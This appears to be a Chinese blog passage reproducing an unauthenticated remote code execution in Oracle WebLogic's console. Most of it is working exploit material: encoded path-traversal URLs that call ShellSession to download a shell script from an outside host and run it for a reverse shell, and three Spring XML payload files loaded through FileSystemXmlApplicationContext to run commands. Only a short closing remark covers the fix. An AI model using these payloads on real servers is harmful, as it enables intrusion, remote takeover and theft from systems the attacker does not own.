http://139.155.49.43:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec (‘curl http://8.130.123.25:8000/linux_shell.sh -o /tmp/shell.sh’);”)
然后看一下是否成功
然后使用bash反弹shell
http://139.155.49.43:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec (‘/bin/bash /tmp/shell.sh’);”)
现在复现一下第二种方法,这个方式主要使用的是xml文件,而且对所有Weblogic都是有效的,原理就是weblogic会解析xml中我们插入的命令
test.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?xml version="1.0" encoding="UTF-8" ?> <beans xmlns ="http://www.springframework.org/schema/beans" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation ="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd" > <bean id ="pb" class ="java.lang.ProcessBuilder" init-method ="start" > <constructor-arg > <list > <value > bash</value > <value > -c</value > <value > <![CDATA[touch /tmp/success2]]></value > </list > </constructor-arg > </bean > </beans >
download.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?xml version="1.0" encoding="UTF-8" ?> <beans xmlns ="http://www.springframework.org/schema/beans" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation ="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd" > <bean id ="pb" class ="java.lang.ProcessBuilder" init-method ="start" > <constructor-arg > <list > <value > bash</value > <value > -c</value > <value > <![CDATA[curl 139.155.49.43:8000/shell.sh -o /tmp/shell.sh]]></value > </list > </constructor-arg > </bean > </beans >
runshell.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?xml version="1.0" encoding="UTF-8" ?> <beans xmlns ="http://www.springframework.org/schema/beans" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation ="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd" > <bean id ="pb" class ="java.lang.ProcessBuilder" init-method ="start" > <constructor-arg > <list > <value > bash</value > <value > -c</value > <value > <![CDATA[bash /tmp/shell.sh]]></value > </list > </constructor-arg > </bean > </beans >
其实就是很简单的几个文件
记得这几个文件都要放到http.server文件下面才行
因为需要解析
我直接先监听一个端口
然后攻击
http://192.168.79.128:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel= &handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext(“http://8.130.123.25:8000/download.xml “)
为了分辨我将这个换成了shell2.sh
然后执行,就是runshell.sh
http://192.168.79.128:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel= &handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext(“http://8.130.123.25:8000/runshell.xml “)
方法三就是使用利群工具箱
漏洞修复 其实我们可以知道这一切都是由于未授权访问造成的后果
所以只要对
关闭后台/console/console.portal对外访问
进行授权就可以了